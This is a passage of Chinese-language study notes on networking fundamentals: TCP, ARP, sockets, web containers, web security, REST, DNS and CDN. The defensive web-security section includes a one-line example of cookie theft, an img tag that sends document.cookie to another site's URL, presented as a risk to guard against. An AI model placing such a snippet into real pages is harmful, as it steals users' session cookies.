- 如果不采用三次握手,只要B发出确认,就建立新的连接了,此时A不会响应B的确认且不发送数据,则B一直等待A发送数据,浪费资源。
5.TCP四次挥手

- 第一次挥手:客户端(服务端也可以主动断开)向服务端说明想要关闭连接。
- 第二次挥手:服务端首先回复第一次的消息已经收到。但是并不是立马关闭,因为此时服务端可能还有数据在传输中。
- 第三次挥手:待到数据传输都结束后,服务端向客户端发出消息,告知一切都准备好了,我要断开连接了。
- 第四次挥手:客户端收到服务端的断开信息后,给予确认,同时进入TIME-WAIT状态,此时TCP还没释放掉,需要经过等待计时器设置的时间2MSL(最大报文段生存时间)后,才会进入CLOSED状态。服务端收到确认后正式关闭,若没有收到客户端发来的确认报文段,服务端就会重传连接释放报文段。
6.第四次挥手为什么要等待2MSL?
- 保证客户端发送的最后一个确认报文段能够到达服务端。服务端需要收到客户端的最后一个确认报文段才会进入关闭状态,如果客户端不等待2MSL直接关闭连接,那么服务端如果没有收到最后一个确认报文段,服务端重传的连接释放报文段也没法被客户端接收,客户端也不会重发确认报文段,从而导致服务端无法正常进入关闭状态。
- 防止已失效的连接请求报文段出现在本连接中。客户端在发送完最后一个 ACK 报文段后,再经过2MSL,就可以使这个连接所产生的所有报文段都从网络中消失,使下一个新的连接中不会出现旧的连接请求报文段。
7.为什么进行四次挥手
因为当服务端收到客户端的关闭连接请求后,服务端可能还有数据在传输。因此服务端不会直接关闭SOCKET,而是先给客户端回复一个确认报文段,表明接收到了客户端的关闭连接请求,等到数据传输完毕后再发送连接释放报文段,之后两边才会真正的断开连接。
8.TCP有哪些特点
- TCP是面向连接的运输层协议。
- 点对点,每一条TCP连接只能有两个端点。
- TCP提供可靠交付的服务。
- TCP提供全双工通信。TCP允许通信双方的应用进程在任何时候都能发送数据。
- 面向字节流。TCP把应用程序交下来的数据仅仅看成是一连串的无结构的字节流,TCP不知道说传送的字节流的含义。
9.TCP和UDP的区别
- TCP面向连接;UDP是无连接的,即发送数据之前不需要建立连接。
- TCP提供可靠的服务;UDP不保证可靠交付。
- TCP面向字节流,把数据看成一连串无结构的字节流;UDP是面向报文的。
- TCP有拥塞控制;UDP没有拥塞控制,因此网络出现拥塞不会使源主机的发送速率降低(对实时应用很有用,如实时视频会议等)。
- 每一条TCP连接只能是点到点的;UDP支持一对一、一对多、多对一和多对多的通信方式。
- TCP首部开销20字节;UDP的首部开销小,只有8个字节。
10.TCP的流量控制-滑动窗口机制

TCP 利用滑动窗口实现流量控制。流量控制是为了控制发送方发送速率,保证接收方来得及接收。
TCP会话的双方都各自维护一个发送窗口和一个接收窗口。接收窗口大小取决于应用、系统、硬件的限制。
发送窗口则取决于对端通告的接收窗口。
接收方发送的确认报文中的window字段可以用来控制发送方窗口大小,从而影响发送方的发送速率。将接收方的确认报文window字段设置为 0,则发送方不能发送数据。
拥塞控制是为了防止过多的数据注入到网络中。
12.ARP协议
ARP解决了同一个局域网上的主机和路由器IP和MAC地址的解析。
- 每台主机都会在自己的ARP缓冲区中建立一个ARP列表,以表示IP地址和MAC地址的对应关系。
- 当源主机需要将一个数据包要发送到目的主机时,会首先检查自己 ARP列表中是否存在该 IP地址对应的MAC地址,如果有,就直接将数据包发送到这个MAC地址;如果没有,就向本地网段发起一个ARP请求的广播包,查询此目的主机对应的MAC地址。此ARP请求数据包里包括源主机的IP地址、硬件地址、以及目的主机的IP地址。
- 网络中所有的主机收到这个ARP请求后,会检查数据包中的目的IP是否和自己的IP地址一致。如果不相同就忽略此数据包;如果相同,该主机首先将发送端的MAC地址和IP地址添加到自己的ARP列表中,如果ARP表中已经存在该IP的信息,则将其覆盖,然后给源主机发送一个 ARP响应数据包,告诉对方自己是它需要查找的MAC地址。
- 源主机收到这个ARP响应数据包后,将得到的目的主机的IP地址和MAC地址添加到自己的ARP列表中,并利用此信息开始数据的传输。
- 如果源主机一直没有收到ARP响应数据包,表示ARP查询失败。
13.SOCKET
SOCKET 是传输层协议的具体软件实现,它封装了协议底层的复杂实现方法,为开发人员提供了便利的网络连接。
SOCKET 是网络编程的基石,像 HTTP 的请求,MySQL 数据库的连接等绝大部分的网络连接都是基于 SOCKET 实现的。
SOCKET 从软件的层面屏蔽了传输层的细节,开发人员可以很方便的使用。
14.WEBSOCKET
WEBSOCKET 是一种升级版的 HTTP 服务,传统的 HTTP 服务都是客户端发起,服务端响应,而 WEBSOCKET 支持服务端向客户端主动推送消息,增强了浏览器的交互场景。
WEBSOCKET 也是应用层协议,跟 HTTP 一样具体的实现都要基于 SOCKET。
四、WEB容器
1.WEB服务器和WEB容器的区别
Web 服务器是一种对外提供 Web 服务的软件,它可以接收浏览器的 HTTP 请求,并将处理结果返回给浏览器。
常见的Web 服务器,比如 Apache、Nginx 等,它们的功能往往都比较单一,只能提供 http(s) 服务,让用户访问静态资源(HTML 文档、图片、CSS 文件、JavaScript 文件等),它们不能执行任何编程语言,也不能访问数据库。
也就是说,如果只有 Web 服务器,那您只能部署静态网站,不能部署动态网站。要想部署动态网站,必须要有编程语言运行环境的和数据库管理系统的支持。
开发网站使用的编程语言一般都是脚本语言(比如 PHP、ASP、Python),部署网站时都是将源代码直接扔到服务器上,然而源代码自己并不能运行,必须要有解释器的支持;当用户访问动态页面时,解释器负责分析、编译和执行源代码,然后得到处理结果。
而对于JAVA来说,WEB服务是基于Servlet进行的,Servlet 是基于 Java 语言的,要想运行 Servlet 代码,还需要一种额外的部件,该部件必须支持 Servlet 规范,实现了 Servlet 接口和一些基础类,这种部件就是 Servlet 容器。可以简单将Servlet容器理解为Python这种动态语言的解释器。
Servlet 容器就是 Servlet 代码的运行环境(运行时),它除了实现 Servlet 规范定义的各种接口和类,为 Servlet 的运行提供底层支持,还需要管理由用户编写的 Servlet 类,比如实例化类(创建对象)、调用方法、销毁类等。
我们编写的 Servlet 类没有 main() 函数,不能独立运行,只能作为一个模块被载入到 Servlet 容器,然后由 Servlet 容器来实例化,并调用其中的方法。
一个动态页面对应一个 Servlet 类,开发一个动态页面就是编写一个 Servlet 类,当用户请求到达时,Servlet 容器会根据配置文件(web.xml)来决定调用哪个类。
Web 服务器是整个动态网站的“大门”,用户的 HTTP 请求首先到达 Web 服务器,Web 服务器判断该请求是静态资源还是动态资源:如果是静态资源就直接返回,此时相当于用户下载了一个服务器上的文件;如果是动态资源将无法处理,必须将该请求转发给 Servlet 容器。
Servlet 容器接收到请求以后,会根据配置文件(web.xml)找到对应的 Servlet 类,将它加载并实例化,然后调用其中的方法来处理用户请求;处理结束后,Servlet 容器将处理结果再转交给 Web 服务器,由 Web 服务器将处理结果进行封装,以 HTTP 响应的形式发送给最终的用户。

常用的 Web 容器有 Tomcat、Jboss、Jetty、WebLogic 等,其中 Tomcat 由 Java 官方提供,是初学者最常使用的。
为了简化部署流程,Web 容器往往也会自带 Web 服务器模块,提供基本的 HTTP 服务,所以您可以不用再安装 Apache、IIS、Nginx 等传统意义上的服务器,只需要安装一款 Web 容器,就能部署 Servlet 网站了。

总结:WEB容器=WEB服务器(静态资源处理)+ WEB服务运行时环境(动态编程语言处理)
这是简化部署流程后的WEB容器的理解(图二),传统的WEB容器只是一个运行WEB服务程序的编程语言运行时环境,和WEB服务器是分开的(图一)。
2.常见的WEB服务器
HTTPD 是 C 语言编写的遵从 HTTP 协议的服务器,是一个高度模块化软件,由 Server 和 Module 组成。这些模块大都是动态模块,因此可以随时加载。
HTTPD一般比较的对象是 Nginx 服务器,他们两个是静态资源服务器的首选。
HTTPD原名就叫APACHE,很多人习惯说APACHE服务器,其实默认指的是HTTPD。
2.2 APACHE TOMCAT
2.2.1 TOMCAT简介
Tomcat 是一个开源免费的 Web 服务器,它跟 HTTPD 一样有处理静态 HTML 的能力,除此之外它还是 Servlet 和 Jsp 的容器,通俗地说可以搭载 Java 的 Web 应用。
Tomcat 是一个 Web 容器,同时也是实现了部分 J2ee 规范的服务器。例如J2ee 给数据库连接制定了 Jdbc 规范,Mysql 和 Oracle 这种数据库提供商都是遵从这个规范来实现的。
2.2.2 TOMCAT代码结构

Tomcat 也是用 Java 编写的一个应用,正常开发一个软件的时候都会根据功能职责对代码进行划分。
- Server:tomcat的一个实例;
- Service: connector和container的逻辑分组;
- Connector:负责接收请求;
- Container:负责处理请求
2.2.3 TOMCAT请求流程

- 浏览器发起请求;
- Tomcat 响应请求,然后封装成统一的对象交给 Engine 处理。图片显示的是 Http 协议的处理,但是 Tomcat 的设计并不只是为了 Http 这个协议,还可以有其它的如 Ajp 协议。从 Engine 的角度它对这些处理是透明的(可以不关心的);
- Engine 将请求分配给一台Host机器去处理;
- 一台机器上面可能同时部署了多个 Java Web 应用,这时候通过 Context 这个上下文可以定位到具体的哪个 Web 应用;
- 交给应用中具体的某个 Servlet 处理;
- 原路一个个返回,将处理的响应结果传输给浏览器。
2.3 NGINX
2.3.1 NGINX的特点
- 轻量且并发能力强
- 静态资源服务器
- 反向代理服务器
- 负载均衡服务器
- 大规模可扩展事件驱动架构
2.3.2 Nginx 支持高并发的原理
一般的 Web 服务器在解决并发问题时,通常采用多线程或者多进程来处理请求。这种处理机制在访问量小的时候处理能力确实不错,但是当并发量大了线程或者进程频繁地切换对资源是一种非常大的损耗。
但是 Nginx 却是单线程的,它采用 事件驱动 + IO 多路复用的处理模型。

-
单线程:可以解决线程切换的损耗和多线程的资源竞争问题。
-
事件驱动: Nginx 在启动后,master 进程 fork() 多个相互独立的 work 进程,请求的事件由work进程去处理。work 的数量一般是对应服务器的 CPU 核数。
-
IO 多路复用: 一个请求的处理过程并不是独占一个 work 进程,当请求有阻塞等待的时候,work 进程会空出来去处理其它的请求。

正向代理客户端明确地知道自己最终访问的是谁,反向代理客户端就只了解到代理服务,不清楚具体谁在提供服务。NGINX做反向代理服务器就相当于转发请求到指定的服务,并实现了负载均衡。
2.4 常见的WEB容器的适用场景
- Nginx:适合静态内容服务和反向代理服务器;它的特点是并发能力强,适合处理 IO 密集型请求但是不适合 CPU 密集的请求(因为是单线程无法使CPU提速),因为并发场景的 CPU 上下文的切换花销挺高的。所以很适合当网关做代理来分发请求的场景。
- HTTPD:适合rewrite场景比较多,对 CPU 资源有一定要求的场景;并发能力相对弱些,可以借助 NGINX 的分发做负载均衡,水平扩展 HTTPD 的服务能力。
- TOMCAT: Java 应用容器,同样可以借助 Nginx 实现水平服务的扩展。
五、WEB安全
1.常见WEB安全漏洞
1.1 注入和欺骗
注入一般是将恶意代码以参数的形式传入系统,并诱使系统或者用户手动触发代码事件。欺骗通常是伪造某个客户端身份去访问服务器。
1.1.1 会话模拟
因为 HTTP 是无状态协议,服务端为了区别不同请求分别来自哪个用户,一般借助的是 Session 和 Cookie。
Session 的数据存储在服务端,而 Cookie 存储在客户端。
Cookie 以键值对的方式存储在浏览器中,设置 Cookie 的时候如果指定了过期时间,对应的值就会写到本地磁盘中,时间到了自动剔除。如果没有设置过期时间,它的生命周期就是浏览器关闭了就消失了。
Session 虽然存储在服务端,但是它的 SessionId 也存了一份在客户端的 Cookie 中的,并且它的生命周期随着浏览器的关闭而消失。
HTTP 有个机制:请求的时候会把浏览器中当前域名对应作用域下的所有 Cookie 都发送到出去,所以同一个作用域下的 Cookie 对象不要太多,会影响每次请求的带宽。服务端就能从请求中拿到 SessionId ,从而查出具体的 Session 对象。
场景一:我们只要获取会话标识SessionId后就能很容易假冒用户的身份去与服务端交互,进行会话模拟。浏览器的 SessionId 自己能容易获得,但是别人要拿到还是相对困难的,于是有一种名为 CSRF 跨站点请求伪造(Cross—Site Request Forgery) 的攻击出现。用户登录 A 网站,然后又打开了另一个标签页访问 B 网站,如果此时 B 中隐藏了 A 网站某个请求的链接,到用户点击了,就会以当前用户的身份去触发对应的事件。
场景二:开发中我们会用 HTTP 请求工具,如 Postman 去调用我的接口,验证接口的出入参。如果系统需要登录才能访问,我们比较简便的做法是用浏览器先登录,然后将浏览器的 SessionId 设置到 Postman 中,此时接口就能访问了。
1.1.2 跨站脚本攻击(XSS)
XSS 跨站脚本攻击(Cross-site scripting)使用到的技术主要为 HTML 和 Javascript 脚本。攻击者将对客户端有危害的代码放到服务器上作为一个网页内容,用户不经意打开此网页时,这些恶意代码会注入到用户的浏览器中并执行,从而使用户受到攻击。一般而言,利用跨站脚本攻击,攻击者可窃取会话 Cookie,从而获得用户的隐私信息,甚至包括密码等敏感信息。
1.1.3 SQL注入
Web程序代码中对于用户提交的参数未做过滤就直接放到SQL语句中执行,导致参数中的特殊字符打破了SQL语句原有逻辑,黑客可以利用该漏洞执行任意SQL语句。

1.1.4 域名劫持
我们通过域名访问某个网站的时候,需要 DNS 域名解析系统帮忙解析出对应服务器的 IP 地址。如果域名服务器受到攻击,那黑客就可以将我们的域名任意解析到另一个服务器过去了。当然也可能是直接通过病毒软件修改我们本地的 hosts 文件。
1.2 编程代码逻辑缺陷
1.2.1 敏感数据依赖前端参数
系统中的重要参数需要后台重新计算,如商品购买的价格,限时购买中的时间等,对客户端的输入保持警惕。
1.2.2 接口限制问题
场景一: 登录的接口失败没有次数限制,会被暴力破解。
场景二: 短信发送的接口没有次数限制,容易被滥用,造成损失,甚至被非法分子用来做短信轰炸。
1.2.3 第三方依赖包的漏洞问题
我们代码工程里面会引入很多第三方依赖包,整个系统的安全性就像漏斗效应,一旦某个依赖包被发现漏洞,我们的整个系统也等于存在威胁边缘。
1.2.4 权限控制问题
权限只在前端设置,接口没有做校验,了解 HTML 的人很容易可以将某些隐藏的按钮显示出来,从而触发对应的功能。
1.3 服务器问题
1.3.1 服务器信息泄露
- SSH 密码泄露
- WEB 控制端密码泄露(阿里,腾讯,百度等控制台,宝塔控制台等)
- IP 地址 ,操作系统信息
1.3.2 软件漏洞
系统上面安装的软件存在漏洞,被探测工具扫描到,就可能利用你这个漏洞入侵你的操作系统。
1.3.3 DDOS攻击
DDOS(Distributed Denial of Service)也是一种经典的攻击模式,它不是利用服务器存在什么漏洞,而是直接粗狂的用大流量来访问你的网站,使你的网站承受不了这么多流量而崩溃。
这种模式有时候还挺难处理的,因为流量的来源可能是一种变化的,都没有固定 IP,防不胜防。而这些攻击你的电脑可能是来自各地的私人电脑,只是被黑客利用了的傀儡机。
2. WEB应用的安全开发
2.1 前端安全开发
2.1.1 明文防范
W3C 三个核心对象:HTML,JavaScript,CSS 分别负责了网站的内容结构,动作交互逻辑,展示样式。这么核心的东西在客户都是可以明文查看的。虽然 JavaScript 可以混淆加密,但是最终他是需要被浏览器解析的,所以肯定是有一套固定的规范,黑客同样可以轻易解密。因此要防范隐私信息在W3C三个核心对象中暴露的风险。
- 不要异想天开的在前端与后台约定某个加密算法,这样算法一下子就泄露了。
- 对于前端的输入都要保持怀疑,重要的数据如果后端允许,需要自行生成或者加以校验。
- 虽然客户端一览无遗,但是还是要尽量使用 HTTPS 协议,保证传输的过程是加密的。
- 需要权限的操作,即使前端按钮隐藏了,后端的接口也需要重新鉴权下,很可能客户端自己修改 CSS 使按钮显示出来了。
2.1.2 URL导致的泄露问题
前端任何地方带有 URL 的都要引起警惕,主要可能带来下面安全问题:
- 构建系统的某些接口等用户登录后触发。
- 调用别的网站,将该作用域下的 Cookie 传输出去。
比如在图片链接中就可能隐藏URL:<img src='别的网站URL?param='+document.cookie >
2.1.3 window下的全局变量
Window 下面带了很多可以直接使用的全局变量,要警惕危险。黑客可能利用 window.document 获取本域 cookie 然后传输到黑客的网站。
例如:window.location.href = 【该值最好不要是动态的,容易被注入】
2.2.1 规范问题
2.2.2 设计问题
2.2.3 信任问题
- 同域:检查请求头的 ref 参数,要么是同域的,要么是信任的才响应。
- 请求参数
不要太信任前端参数,重要值后台能获取的尽量自己获取。
请求的所有参数都做下 XSS/ SQL 注入 的关键字符的过滤。
- 权限:涉及到权限的后端都要自己校验,不要说前端按钮隐藏了就可以了。
2.2.4 增加风控逻辑
2.2.5 网络策略限制
六、其他网络名词
1.URI
1.1 URI的定义
URI,统一资源标志符(Uniform Resource Identifier, URI),标识了网络中的某个对象或者集合。
- Uniform:具有统一的能够让我们访问不同类型的资源的格式
- Resource:资源是任何可标识的东西
- Identifier:表示可标识的对象,也称为标识符。
1.2 URI的格式
<scheme>://<authority><path>?<query>
- scheme表示协议,可以为ftp,http等协议,表示用统一的格式访问不同协议下的资源
- authority表示认证,http的authority模块一般不会写在路径上面
2.URL
- URI 是网络中用于标识某个对象的规约,URI 包含了多个
scheme,所以 URL 是scheme = http的 URI。 - URL 是 URI 的子集,只要是 URL 一定就是 URI ,反过来不成立。
- URL 和 URI 只差了一个字母,Location 和 Identifier。
Location:定位,着重强调的是位置信息。
Identifier:标识,只是一种全局唯一的昵称。
3.RESTFUL
3.1 RESTFUL简介
Rest(Representational State Transfer),从词面上来解析是表述性状态转移。我们知道 URI 是一种资源标识,这个标识不管是地址还是昵称,他都只是一个名词(URL 上面最好不要用动词),而API 接口是有 增删改查 一系列动作,将 URL 与行为状态的结合就是 Restful 的核心思想。一个 API 请求我们既要知道它要操作的是哪个资源,也要知道它要对这个资源进行什么操作。
Restful 从小的讲是对 URL 格式提出了限制,对接口设计规范的倡导,大的说它是一种通信架构的指导。
3.2 RESTFUL API接口规范
Restful 提倡将接口的行为状态放到了 HTTP 的头部 method 里。对同一个资源的不同操作,接口 URL 可能是一样的。接口的行为主要有以下几个方面:
| 行为 | 说明 |
|---|---|
| GET | 查询资源 如果资源查询的过程需要带过滤参数,建议使用 URL 参数的形式 |
| POST | 新增资源 |
| PUT | 修改资源 |
| PATCH | 修改资源 put 类型的修改请求体中需要包含全量的对象信息,而 patch 只需要带上要修改的某几个对象即可,没有带上的参数就代表不更新,采用原来的值 |
| DELETE | 删除资源 |
3.3 REST 架构
REST定义的是一个软件的通信架构,对架构的约束主要有以下几个方面:
| 约束 | 说明 |
|---|---|
| Client-Server | 客户端/服务端 模式的架构 |
| Stateless | 无状态,服务端不保存客户端信息 |
| Cache | 客户端可以缓存服务端数据 |
| Uniform Interface | 统一接口 |
| Layered System | 分层架构,职责明确,方便拓展等 |
| Code-on-Demand | 客户端从服务器获取需要的代码,在客户端处执行,可以用于边缘计算场景 |
4.DNS
4.1 DNS简介
DNS(Domain Name System)域名系统负责将人们便于记忆的域名转成计算机所需要的 IP 地址。
4.2 DNS语法结构

4.3 DNS域名服务器
4.3.1 域名服务器分布
域名是分层的,每种域名服务器也都是分布式部署的,而不是只有单台。因为只要一种域名服务器提供不了服务,全世界对应种类的域名都会受到影响。
根域名服务器:最高层和最重要的的域名服务器,任何一个域名服务器只要自己解析不了,就会交给根服务器。全世界共用 13 台域名服务器,其中 10 台在美国,剩下的 3 台分别在日本,英国,瑞典。
顶级域名服务器:管理所有注册在它上面的二级域名服务器。
4.3.2 域名服务器类型
权威域名服务器:能够决定域名和 IP 的关系。
本地域名服务器:一般由本地运营商提供,不能解析域名,通常是缓存域名解析和帮用户到权威域名服务器查询解析结果。(本地域名服务器可能会被DNS污染)
公共域名服务器:跟本地域名服务器类似,只是它不是某个运营商提供的,是全网公用的。
4.4 DNS域名解析过程
- 浏览器搜索自己的DNS缓存
- 若没有,则搜索操作系统中的DNS缓存和hosts文件
- 若没有,则操作系统将域名发送至本地域名服务器,本地域名服务器查询自己的DNS缓存,查找成
功则返回结果,否则依次向根域名服务器、顶级域名服务器、权限域名服务器发起查询请求,最终
返回IP地址给本地域名服务器 - 本地域名服务器将得到的IP地址返回给操作系统,同时自己也将IP地址缓存起来
- 操作系统将 IP 地址返回给浏览器,同时自己也将IP地址缓存起来
- 浏览器得到域名对应的IP地址
4.5 DNS 解析对应的常见记录类型
域名有记录类型的概念,其实就是它的解析规则,一个简单的域名,我们可以根据自己的业务拆解成不同的子域名,并解析到不同服务器去。
-
A 记录:将域名直接解析成某个具体的服务器 IP,可以有多个A记录,说明一个域名是可以通过增加记录来解析到不同的IP上。
-
CNAME 记录:给域名起了一个 cname 的别名,访问这个别名与访问原域名效果是一样的,访问源域名会转发到这个cname的域名中去。
-
NS 记录:域名解析服务器记录,通常用来指定不同子域名对应不同的解析服务器。
-
MX 记录:建立电子邮箱服务,将指向邮件服务器地址,需要设置MX记录。建立邮箱时,一般会根据邮箱服务商提供的 MX 记录填写此记录。
5.CDN
5.1 CDN简介
CDN(Content Delivery Network)内容分发网络本质上是一种缓存服务器,通过负载均衡算法,为请求提供最靠近的响应资源,达到网站的内容加速。
5.2 CDN工作流程

- 用户请求一个域名地址
- 浏览器对域名进行解析
- 由于域名被 CDN 接管了,对域名的解析后只能获取到 CNAME,CDN 就是借助 CNAME 将访问的地址代理到对应的 CDN 服务器,而不是域名对应的原站
- 浏览器通过 CNAME 获取到最近的 CDN 服务器的 IP 地址,然后直接访问 CDN 缓存服务器
- CDN 缓存服务器根据策略判断请求的资源缓存里面有没有,需不需要回原站更新,并将资源返回给用户。
5.3 CDN应用场景
-
网页加速:网页加速是最早期也是最普遍的 CDN 应用,主要缓存(加速)了静态 HTML,JS,CSS 或者图片等不变的资源。
-
流媒体加速:4G 的到来带火了短视频,流媒体这种资源对带宽要求也是很高的,所以将一部分的媒体资源提前放置在 CDN 服务器也是很有必要的。
-
文件下载加速:将文件资源放到了各个地方的近端的 CND 服务器,从而达到下载加速作用。
-
边缘计算:利用CDN节点对文件资源进行动态处理计算,这样源服务器只需要传递计算的命令,而不用传递计算的结果。早期可能是简单的把视频内容缓存到 CDN 服务器,如借助边缘计算可以实现在近端对视频的压缩和解压缩等操作,就可以进一步降低传输到网络带宽,达到加速的目的。
-
网格化计算:通过智能的优化网络传输路径,达到加速。
浙公网安备 33010602011771号